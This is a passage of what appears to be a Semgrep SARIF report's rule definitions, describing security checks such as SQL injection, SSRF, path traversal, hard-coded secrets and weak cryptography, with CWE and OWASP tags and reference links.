php.laravel.security.laravel-native-sql-injection.laravel-native-sql-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using a .NET remoting service can lead to RCE, even if you try to configure TypeFilterLevel. Recommended to switch from .NET Remoting to WCF https://docs.microsoft.com/en-us/dotnet/framework/wcf/migrating-from-net-remoting-to-wcf"},"help":{"markdown":"Using a .NET remoting service can lead to RCE, even if you try to configure TypeFilterLevel. Recommended to switch from .NET Remoting to WCF https://docs.microsoft.com/en-us/dotnet/framework/wcf/migrating-from-net-remoting-to-wcf\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.insecure-typefilterlevel-full.insecure-typefilterlevel-full)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.typefilterlevel?view=net-6.0](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.typefilterlevel?view=net-6.0)\n - [https://www.synacktiv.com/en/publications/izi-izi-pwn2own-ics-miami.html](https://www.synacktiv.com/en/publications/izi-izi-pwn2own-ics-miami.html)\n","text":"Using a .NET remoting service can lead to RCE, even if you try to configure TypeFilterLevel. Recommended to switch from .NET Remoting to WCF https://docs.microsoft.com/en-us/dotnet/framework/wcf/migrating-from-net-remoting-to-wcf"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.insecure-typefilterlevel-full.insecure-typefilterlevel-full","id":"csharp.lang.security.insecure-deserialization.insecure-typefilterlevel-full.insecure-typefilterlevel-full","name":"csharp.lang.security.insecure-deserialization.insecure-typefilterlevel-full.insecure-typefilterlevel-full","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.insecure-typefilterlevel-full.insecure-typefilterlevel-full"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Path traversal may allow malicious actors to access file content not intended to be exposed to them. For example a user may be able to access sensitive secrets stored within app files (e.g. UserDefaults/Plists/.etc.). Alternatively, users with access to a victim's phone may be able to obtain senstivie data persisted by the application."},"help":{"markdown":"Path traversal may allow malicious actors to access file content not intended to be exposed to them. For example a user may be able to access sensitive secrets stored within app files (e.g. UserDefaults/Plists/.etc.). Alternatively, users with access to a victim's phone may be able to obtain senstivie data persisted by the application.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.pathtraversal.filemanager-pathtraversal.swift-path-traversal)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n","text":"Path traversal may allow malicious actors to access file content not intended to be exposed to them. For example a user may be able to access sensitive secrets stored within app files (e.g. UserDefaults/Plists/.etc.). Alternatively, users with access to a victim's phone may be able to obtain senstivie data persisted by the application."},"helpUri":"https://semgrep.dev/r/swift.pathtraversal.filemanager-pathtraversal.swift-path-traversal","id":"swift.pathtraversal.filemanager-pathtraversal.swift-path-traversal","name":"swift.pathtraversal.filemanager-pathtraversal.swift-path-traversal","properties":{"precision":"very-high","tags":["CWE-35: Path Traversal","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: swift.pathtraversal.filemanager-pathtraversal.swift-path-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.sqlx.pg-connection-url.pg-connection-url)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.sqlx.pg-connection-url.pg-connection-url","id":"rust.secrets.sqlx.pg-connection-url.pg-connection-url","name":"rust.secrets.sqlx.pg-connection-url.pg-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.sqlx.pg-connection-url.pg-connection-url"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Azure Storage currently supports three versions of the TLS protocol: 1.0, 1.1, and 1.2. Azure Storage uses TLS 1.2 on public HTTPS endpoints, but TLS 1.0 and TLS 1.1 are still supported for backward compatibility. This check will warn if the minimum TLS is not set to TLS1_2."},"help":{"markdown":"Azure Storage currently supports three versions of the TLS protocol: 1.0, 1.1, and 1.2. Azure Storage uses TLS 1.2 on public HTTPS endpoints, but TLS 1.0 and TLS 1.1 are still supported for backward compatibility. This check will warn if the minimum TLS is not set to TLS1_2.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.storage.storage-use-secure-tls-policy.storage-use-secure-tls-policy)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#min_tls_version](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#min_tls_version)\n - [https://docs.microsoft.com/en-us/azure/storage/common/transport-layer-security-configure-minimum-version](https://docs.microsoft.com/en-us/azure/storage/common/transport-layer-security-configure-minimum-version)\n","text":"Azure Storage currently supports three versions of the TLS protocol: 1.0, 1.1, and 1.2. Azure Storage uses TLS 1.2 on public HTTPS endpoints, but TLS 1.0 and TLS 1.1 are still supported for backward compatibility. This check will warn if the minimum TLS is not set to TLS1_2."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.storage.storage-use-secure-tls-policy.storage-use-secure-tls-policy","id":"terraform.azure.security.storage.storage-use-secure-tls-policy.storage-use-secure-tls-policy","name":"terraform.azure.security.storage.storage-use-secure-tls-policy.storage-use-secure-tls-policy","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.storage.storage-use-secure-tls-policy.storage-use-secure-tls-policy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure EBS Volume is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure EBS Volume is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ebs-volume-encrypted-with-cmk.aws-ebs-volume-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure EBS Volume is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ebs-volume-encrypted-with-cmk.aws-ebs-volume-encrypted-with-cmk","id":"terraform.aws.security.aws-ebs-volume-encrypted-with-cmk.aws-ebs-volume-encrypted-with-cmk","name":"terraform.aws.security.aws-ebs-volume-encrypted-with-cmk.aws-ebs-volume-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ebs-volume-encrypted-with-cmk.aws-ebs-volume-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 210K iterations should be used with SHA512"},"help":{"markdown":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 210K iterations should be used with SHA512\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insufficient-pbkdf2-work-factor-sha512.insufficient-pbkdf2-work-factor-sha512)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5](https://pages.nist.gov/800-63-3/sp800-63b.html#sec5)\n","text":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 210K iterations should be used with SHA512"},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insufficient-pbkdf2-work-factor-sha512.insufficient-pbkdf2-work-factor-sha512","id":"swift.commoncrypto.insufficient-pbkdf2-work-factor-sha512.insufficient-pbkdf2-work-factor-sha512","name":"swift.commoncrypto.insufficient-pbkdf2-work-factor-sha512.insufficient-pbkdf2-work-factor-sha512","properties":{"precision":"very-high","tags":["CWE-916: Use of Password Hash With Insufficient Computational Effort","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insufficient-pbkdf2-work-factor-sha512.insufficient-pbkdf2-work-factor-sha512"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Function sweepToken is allowed to be called by anyone"},"help":{"markdown":"Function sweepToken is allowed to be called by anyone\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.compound-sweeptoken-not-restricted.compound-sweeptoken-not-restricted)\n - [https://medium.com/chainsecurity/trueusd-compound-vulnerability-bc5b696d29e2](https://medium.com/chainsecurity/trueusd-compound-vulnerability-bc5b696d29e2)\n - [https://chainsecurity.com/security-audit/compound-ctoken/](https://chainsecurity.com/security-audit/compound-ctoken/)\n - [https://blog.openzeppelin.com/compound-comprehensive-protocol-audit/](https://blog.openzeppelin.com/compound-comprehensive-protocol-audit/)\n - [https://etherscan.io/address/0xa035b9e130f2b1aedc733eefb1c67ba4c503491f](https://etherscan.io/address/0xa035b9e130f2b1aedc733eefb1c67ba4c503491f)\n","text":"Function sweepToken is allowed to be called by anyone"},"helpUri":"https://semgrep.dev/r/solidity.security.compound-sweeptoken-not-restricted.compound-sweeptoken-not-restricted","id":"solidity.security.compound-sweeptoken-not-restricted.compound-sweeptoken-not-restricted","name":"solidity.security.compound-sweeptoken-not-restricted.compound-sweeptoken-not-restricted","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.compound-sweeptoken-not-restricted.compound-sweeptoken-not-restricted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.xpath.tainted-xpath.tainted-xpath)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"helpUri":"https://semgrep.dev/r/java.spring.xpath.tainted-xpath.tainted-xpath","id":"java.spring.xpath.tainted-xpath.tainted-xpath","name":"java.spring.xpath.tainted-xpath.tainted-xpath","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.xpath.tainted-xpath.tainted-xpath"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.sqlalchemy-fastapi.sqlalchemy-fastapi)\n - [https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text](https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.sqlalchemy-fastapi.sqlalchemy-fastapi","id":"python.fastapi.db.sqlalchemy-fastapi.sqlalchemy-fastapi","name":"python.fastapi.db.sqlalchemy-fastapi.sqlalchemy-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.sqlalchemy-fastapi.sqlalchemy-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-ssrf-deepsemgrep.tainted-ssrf-deepsemgrep)\n - [https://cwe.mitre.org/data/definitions/918.html](https://cwe.mitre.org/data/definitions/918.html)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/)\n - [https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fauth~2Fssrf~2Fgeneric](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fauth~2Fssrf~2Fgeneric)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-ssrf-deepsemgrep.tainted-ssrf-deepsemgrep","id":"java.servlets.security.tainted-ssrf-deepsemgrep.tainted-ssrf-deepsemgrep","name":"java.servlets.security.tainted-ssrf-deepsemgrep.tainted-ssrf-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-ssrf-deepsemgrep.tainted-ssrf-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims."},"help":{"markdown":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.jwt.security.audit.jwt-decode-without-verify.ruby-jwt-decode-without-verify)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims."},"helpUri":"https://semgrep.dev/r/ruby.jwt.security.audit.jwt-decode-without-verify.ruby-jwt-decode-without-verify","id":"ruby.jwt.security.audit.jwt-decode-without-verify.ruby-jwt-decode-without-verify","name":"ruby.jwt.security.audit.jwt-decode-without-verify.ruby-jwt-decode-without-verify","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.jwt.security.audit.jwt-decode-without-verify.ruby-jwt-decode-without-verify"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"You should probably use Filename.get_temp_dirname()."},"help":{"markdown":"You should probably use Filename.get_temp_dirname().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ocaml.lang.portability.slash-tmp.not-portable-tmp-string)\n","text":"You should probably use Filename.get_temp_dirname()."},"helpUri":"https://semgrep.dev/r/ocaml.lang.portability.slash-tmp.not-portable-tmp-string","id":"ocaml.lang.portability.slash-tmp.not-portable-tmp-string","name":"ocaml.lang.portability.slash-tmp.not-portable-tmp-string","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: ocaml.lang.portability.slash-tmp.not-portable-tmp-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for cases where java applications are allowing unsafe renegotiation. This leaves the application vulnerable to a man-in-the-middle attack where chosen plain text is injected as prefix to a TLS connection."},"help":{"markdown":"Checks for cases where java applications are allowing unsafe renegotiation. This leaves the application vulnerable to a man-in-the-middle attack where chosen plain text is injected as prefix to a TLS connection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.tls-renegotiation.tls-renegotiation)\n - [https://www.oracle.com/java/technologies/javase/tlsreadme.html](https://www.oracle.com/java/technologies/javase/tlsreadme.html)\n","text":"Checks for cases where java applications are allowing unsafe renegotiation. This leaves the application vulnerable to a man-in-the-middle attack where chosen plain text is injected as prefix to a TLS connection."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.tls-renegotiation.tls-renegotiation","id":"problem-based-packs.insecure-transport.java-stdlib.tls-renegotiation.tls-renegotiation","name":"problem-based-packs.insecure-transport.java-stdlib.tls-renegotiation.tls-renegotiation","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.tls-renegotiation.tls-renegotiation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found an insecure gRPC connection. This creates a connection without encryption to a gRPC client/server. A malicious attacker could tamper with the gRPC message, which could compromise the machine."},"help":{"markdown":"Found an insecure gRPC connection. This creates a connection without encryption to a gRPC client/server. A malicious attacker could tamper with the gRPC message, which could compromise the machine.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.grpc.security.grpc-nodejs-insecure-connection.grpc-nodejs-insecure-connection)\n - [https://blog.gopheracademy.com/advent-2017/go-grpc-beyond-basics/#:~:text=disables%20transport%20security](https://blog.gopheracademy.com/advent-2017/go-grpc-beyond-basics/#:~:text=disables%20transport%20security)\n","text":"Found an insecure gRPC connection. This creates a connection without encryption to a gRPC client/server. A malicious attacker could tamper with the gRPC message, which could compromise the machine."},"helpUri":"https://semgrep.dev/r/javascript.grpc.security.grpc-nodejs-insecure-connection.grpc-nodejs-insecure-connection","id":"javascript.grpc.security.grpc-nodejs-insecure-connection.grpc-nodejs-insecure-connection","name":"javascript.grpc.security.grpc-nodejs-insecure-connection.grpc-nodejs-insecure-connection","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.grpc.security.grpc-nodejs-insecure-connection.grpc-nodejs-insecure-connection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This location block contains a 'proxy_pass' directive but does not contain the 'internal' directive. The 'internal' directive restricts access to this location to internal requests. Without 'internal', an attacker could use your server for server-side request forgeries (SSRF). Include the 'internal' directive in this block to limit exposure."},"help":{"markdown":"This location block contains a 'proxy_pass' directive but does not contain the 'internal' directive. The 'internal' directive restricts access to this location to internal requests. Without 'internal', an attacker could use your server for server-side request forgeries (SSRF). Include the 'internal' directive in this block to limit exposure.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.missing-internal.missing-internal)\n - [https://github.com/yandex/gixy/blob/master/docs/en/plugins/ssrf.md](https://github.com/yandex/gixy/blob/master/docs/en/plugins/ssrf.md)\n - [https://nginx.org/en/docs/http/ngx_http_core_module.html#internal](https://nginx.org/en/docs/http/ngx_http_core_module.html#internal)\n","text":"This location block contains a 'proxy_pass' directive but does not contain the 'internal' directive. The 'internal' directive restricts access to this location to internal requests. Without 'internal', an attacker could use your server for server-side request forgeries (SSRF). Include the 'internal' directive in this block to limit exposure."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.missing-internal.missing-internal","id":"generic.nginx.security.missing-internal.missing-internal","name":"generic.nginx.security.missing-internal.missing-internal","properties":{"precision":"very-high","tags":["CWE-16: CWE CATEGORY: Configuration","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.missing-internal.missing-internal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.jwt-dotnet.jwt-dotnet-hardcoded-secret.jwt-dotnet-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.jwt-dotnet.jwt-dotnet-hardcoded-secret.jwt-dotnet-hardcoded-secret","id":"csharp.jwt-dotnet.jwt-dotnet-hardcoded-secret.jwt-dotnet-hardcoded-secret","name":"csharp.jwt-dotnet.jwt-dotnet-hardcoded-secret.jwt-dotnet-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.jwt-dotnet.jwt-dotnet-hardcoded-secret.jwt-dotnet-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The call to 'createDecipheriv' with the Galois Counter Mode (GCM) mode of operation is missing an expected authentication tag length. If the expected authentication tag length is not specified or otherwise checked, the application might be tricked into verifying a shorter-than-expected authentication tag. This can be abused by an attacker to spoof ciphertexts or recover the implicit authentication key of GCM, allowing arbitrary forgeries."},"help":{"markdown":"The call to 'createDecipheriv' with the Galois Counter Mode (GCM) mode of operation is missing an expected authentication tag length. If the expected authentication tag length is not specified or otherwise checked, the application might be tricked into verifying a shorter-than-expected authentication tag. This can be abused by an attacker to spoof ciphertexts or recover the implicit authentication key of GCM, allowing arbitrary forgeries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.node-crypto.security.gcm-no-tag-length.gcm-no-tag-length)\n - [https://www.securesystems.de/blog/forging_ciphertexts_under_Galois_Counter_Mode_for_the_Node_js_crypto_module/](https://www.securesystems.de/blog/forging_ciphertexts_under_Galois_Counter_Mode_for_the_Node_js_crypto_module/)\n - [https://nodejs.org/api/crypto.html#cryptocreatedecipherivalgorithm-key-iv-options](https://nodejs.org/api/crypto.html#cryptocreatedecipherivalgorithm-key-iv-options)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures/](https://owasp.org/Top10/A02_2021-Cryptographic_Failures/)\n","text":"The call to 'createDecipheriv' with the Galois Counter Mode (GCM) mode of operation is missing an expected authentication tag length. If the expected authentication tag length is not specified or otherwise checked, the application might be tricked into verifying a shorter-than-expected authentication tag. This can be abused by an attacker to spoof ciphertexts or recover the implicit authentication key of GCM, allowing arbitrary forgeries."},"helpUri":"https://semgrep.dev/r/javascript.node-crypto.security.gcm-no-tag-length.gcm-no-tag-length","id":"javascript.node-crypto.security.gcm-no-tag-length.gcm-no-tag-length","name":"javascript.node-crypto.security.gcm-no-tag-length.gcm-no-tag-length","properties":{"precision":"very-high","tags":["CWE-310: CWE CATEGORY: Cryptographic Issues","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.node-crypto.security.gcm-no-tag-length.gcm-no-tag-length"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.sql.postgres-taint.postgres-taint)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.actix.sql.postgres-taint.postgres-taint","id":"rust.actix.sql.postgres-taint.postgres-taint","name":"rust.actix.sql.postgres-taint.postgres-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - 